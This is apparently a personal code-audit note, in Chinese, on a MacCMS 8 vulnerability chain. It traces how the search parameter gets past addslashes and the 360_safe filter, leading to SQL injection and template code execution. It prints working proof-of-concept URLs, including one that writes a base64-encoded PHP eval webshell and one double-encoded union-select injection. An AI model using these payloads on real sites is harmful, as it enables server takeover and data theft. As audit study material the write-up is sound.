1.环境搭建:
最新版本好像修复了这个漏洞
后来看大佬们分析是加了360safe、把他注释掉就可以复现了
审计过程:
- 首先在maccms8_mfb\inc\module\vod.php文件中的第93-98行的代码当$method=search成立的时候便回进入到be(“all”, “wd”)获取请求中wd参数的值,并使用chkSql($wd)方法对$wd进行安全处理。
- 跟入be方法在maccms8_mfb\inc\common\function.php文件中的第266-294行中可看到该方法是对GET,POST,REQUEST接收到的参数进行addslashes的转义处理,根据上一步可以知道be(“all”, “wd”)是,使用REQUEST接收wd参数的值并使用addslashes函数进行转义处理。
- 回到maccms8_mfb\inc\module\vod.php第96行再跟入chkSql方法,在maccms8_mfb\inc\common\360_safe3.php文件中的第27-43行中可以看到该方法是将接收到的变量进行循环urldecode直到解出原文为止,解出后再丢进StopAttack进行处理,处理完成后返回htmlEncode($s)的值。
- 跟入StopAttack方法在maccms8_mfb\inc\common\360_safe3.php文件中的第12-26行中可以看到该方法是使用接收到的正则$ArrFiltReq进行安全处理。
- 跟入$getfilter在maccms8_mfb\inc\common\360_safe3.php文件中的第57-61行可以看到该方法是检测GET,POST,COOKIE中的关键字的拦截规则,且该检测规则存在被绕过的问题。
- 回到maccms8_mfb\inc\common\360_safe3.php的第42行再跟入htmlEncode方法,在maccms8_mfb\inc\common\function.php文件中的572-586行可以看到该方法是对&,’,空格,”,TAB,回车,换行,大小于号进行实体化的转换,此处没有对其他的空白字符和反斜杠进行处理,可以被绕过。
- 回到maccms8_mfb\inc\module\vod.php第98行再跟入$tpl->P["wd"] = $wd;,在maccms8_mfb\inc\common\template.php文件的第2372行看到$tpl被创建的位置,且class AppTpl也是在当前文件被创建的,跟踪P["wd"]数据发现传递给了$lp['wd'],然后跟踪$lp['wd'],在如下两处进行了SQL的拼接处理,所以存在SQL注入,且是单引号字符型注入。
第一处:需要请求m参数为m=vod-search的时候触发。
第二处:需要请求m参数为m=art-search的时候触发。
命令执行漏洞复现
在上述的分析过程中可以知道htmlEncode仅对&,’,空格,”,TAB,回车,换行,大小于号进行实体化的转换,可以使用%0b绕过,但是根据0×01中的第7步可以知道是字符型注入,需要闭合单引号,htmlEncode又把单引号进行的实体化,所以可以转换思路,如下两个SQL语句拼接时候$lp['wd']在SQL语句中可以控制两个位置,因此可以传入反斜杠进行单引号的转义和闭合,又由于0×01中第2步得知REQUEST请求使用了addslashes函数进行转义处理,0×01中的第3步中使用urldecode进行解码,所以可以使用双url编码绕过addslashes函数。
poc:
http://127.0.0.1/CMS/maccms8_mfb/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}
poc:
http://127.0.0.1/CMS/maccms8_mfb/index.PHP?m=vod-search post: wd={if-A:print(md5(23333))}{endif-A}
poc:
wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
进行攻击,该payload是直接生成一个c.php一句话木马文件,连接密码为c。
那么有注释的情况怎样绕过呢?(306_safe3)
会被检测到
addslash绕过
在做了全局addslash的防御策略的cms中编解码是绕过addslash的一种常见的途径。
这个案例还是很经典的。跟踪be函数可以看到,通过be函数获取输入。只是对GET和POST做了addslash.
function be($mode,$key,$sp=',')
{ini_set("magic_quotes_runtime", 0);$magicq= get_magic_quotes_gpc();switch($mode){case 'post':$res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';break;case 'get':$res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';break;case 'arr':$arr =isset($_POST[$key]) ? $_POST[$key] : '';if($arr==""){$value="0";}else{for($i=0;$i<count($arr);$i++){$res=implode($sp,$arr);} }break;default:$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';break;}return $res;
}
所以对从cookie获取输入,以及使用be(‘arr’)方式获取输入都是没有过滤的点。
修复方案采用的是对url解码之后做了一次转义,当时这不是一个最完美的安全编码方式,虽然他解决了这个url解码导致的绕过。
foreach($tpl->P as $k=>$v){if(!is_numeric($v)){$tpl->P[$k] = mysql_real_escape_string($v);}
}
这几篇文章都看的比较吃力,应该好好学学代码审计了
绕过360_safe方法
但是最新版似乎没用
poc:
http://127.0.0.1/AllCMS/Maccms/Maccms8.x-master/maccms8/index.php?m=art-search-wd-%252a%252fselect%2520user() order by 1 desc%2523-letter-%2527%2520union%252f%252a
参考:http://www.freebuf.com/column/161528.html
参考:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=23026
参考:addslash的绕过 代码审计的博客